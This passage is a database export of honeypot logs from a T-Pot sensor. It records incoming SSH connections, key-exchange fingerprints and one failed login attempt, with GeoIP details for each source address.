"a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56166, "timestamp": "2021-09-20T11:13:18.565951", "@timestamp": "2021-09-20T11:13:18.565Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26973	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:13:19.675545+03	2021-09-20 14:15:13.968645+03	{"_id": "egbpAnwBvYTbRNuEDiTF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 42372, "dest_port": 22, "timestamp": "2021-09-20T11:13:19.675545", "@timestamp": "2021-09-20T11:13:19.675Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26974	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:19.916008+03	2021-09-20 14:15:13.970645+03	{"_id": "fAbpAnwBvYTbRNuEDyR2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [eduardo/eduardo] failed", "session": "f876c3922047", "@version": "1", "password": "eduardo", "username": "eduardo", "timestamp": "2021-09-20T11:13:19.916008Z", "@timestamp": "2021-09-20T11:13:19.916Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26975	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:21.202478+03	2021-09-20 14:15:13.971646+03	{"_id": "fgbpAnwBvYTbRNuEEyRe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f876c3922047", "@version": "1", "duration": 2.912426471710205, "timestamp": "2021-09-20T11:13:21.202478Z", "@timestamp": "2021-09-20T11:13:21.202Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26976	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:13:21.952644+03	2021-09-20 14:15:13.972646+03	{"_id": "fwbpAnwBvYTbRNuEFSRo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 2181542413858564, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 33130, "dest_port": 22, "timestamp": "2021-09-20T11:13:21.952644Z", "@timestamp": "2021-09-20T11:13:21.952Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26977	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:22.184161+03	2021-09-20 14:15:13.974644+03	{"_id": "gAbpAnwBvYTbRNuEFiSV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47844, "timestamp": "2021-09-20T11:13:22.184161", "@timestamp": "2021-09-20T11:13:22.184Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26978	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:22.180604+03	2021-09-20 14:15:13.975645+03	{"_id": "jQbpAnwBvYTbRNuEFyRJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:47844 (192.168.176.2:22) [session: 9ac8ae280a7a]", "session": "9ac8ae280a7a", "@version": "1", "protocol": "ssh", "src_port": 47844, "dest_port": 22, "timestamp": "2021-09-20T11:13:22.180604Z", "@timestamp": "2021-09-20T11:13:22.180Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26979	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:22.527249+03	2021-09-20 14:15:13.977647+03	{"_id": "jgbpAnwBvYTbRNuEFyRJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:46650 (192.168.176.2:22) [session: 5f3a09c65d31]", "session": "5f3a09c65d31", "@version": "1", "protocol": "ssh", "src_port": 46650, "dest_port": 22, "timestamp": "2021-09-20T11:13:22.527249Z", "@timestamp": "2021-09-20T11:13:22.527Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26980	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:13:21.955511+03	2021-09-20 14:15:13.978646+03	{"_id": "hgbpAnwBvYTbRNuEFyRI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 44 seconds", "session": "cc707ee1aa9b", "@version": "1", "duration": 44.932968616485596, "timestamp": "2021-09-20T11:13:21.955511Z", "@timestamp": "2021-09-20T11:13:21.955Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26981	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:22.464229+03	2021-09-20 14:15:13.979645+03	{"_id": "lwbpAnwBvYTbRNuEFyRJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "9ac8ae280a7a", "@version": "1", "timestamp": "2021-09-20T11:13:22.464229Z", "@timestamp": "2021-09-20T11:13:22.464Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26982	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:13:22.613833+03	2021-09-20 14:15:13.980646+03	{"_id": "mgbpAnwBvYTbRNuEGSRR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1154693045869706, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 59952, "dest_port": 22, "timestamp": "2021-09-20T11:13:22.613833Z", "@timestamp": "2021-09-20T11:13:22.613Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26993	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:13:13.702861+03	2021-09-20 14:15:13.994646+03	{"_id": "WQboAnwBvYTbRNuE-CQB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "11488e9ee7be", "@version": "1", "duration": 1.336660623550415, "timestamp": "2021-09-20T11:13:13.702861Z", "@timestamp": "2021-09-20T11:13:13.702Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26983	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:22.614003+03	2021-09-20 14:15:13.981644+03	{"_id": "nwbpAnwBvYTbRNuEGiR_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59952, "timestamp": "2021-09-20T11:13:22.614003", "@timestamp": "2021-09-20T11:13:22.614Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26984	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:22.532426+03	2021-09-20 14:15:13.982646+03	{"_id": "oAbpAnwBvYTbRNuEGiR_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46650, "timestamp": "2021-09-20T11:13:22.532426", "@timestamp": "2021-09-20T11:13:22.532Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26985	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:13:26.086718+03	2021-09-20 14:15:13.984645+03	{"_id": "wQbpAnwBvYTbRNuEJiTu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 46.101.115.211:38516 (192.168.176.2:22) [session: e7a27c7ba74b]", "session": "e7a27c7ba74b", "@version": "1", "protocol": "ssh", "src_port": 38516, "dest_port": 22, "timestamp": "2021-09-20T11:13:26.086718Z", "@timestamp": "2021-09-20T11:13:26.086Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
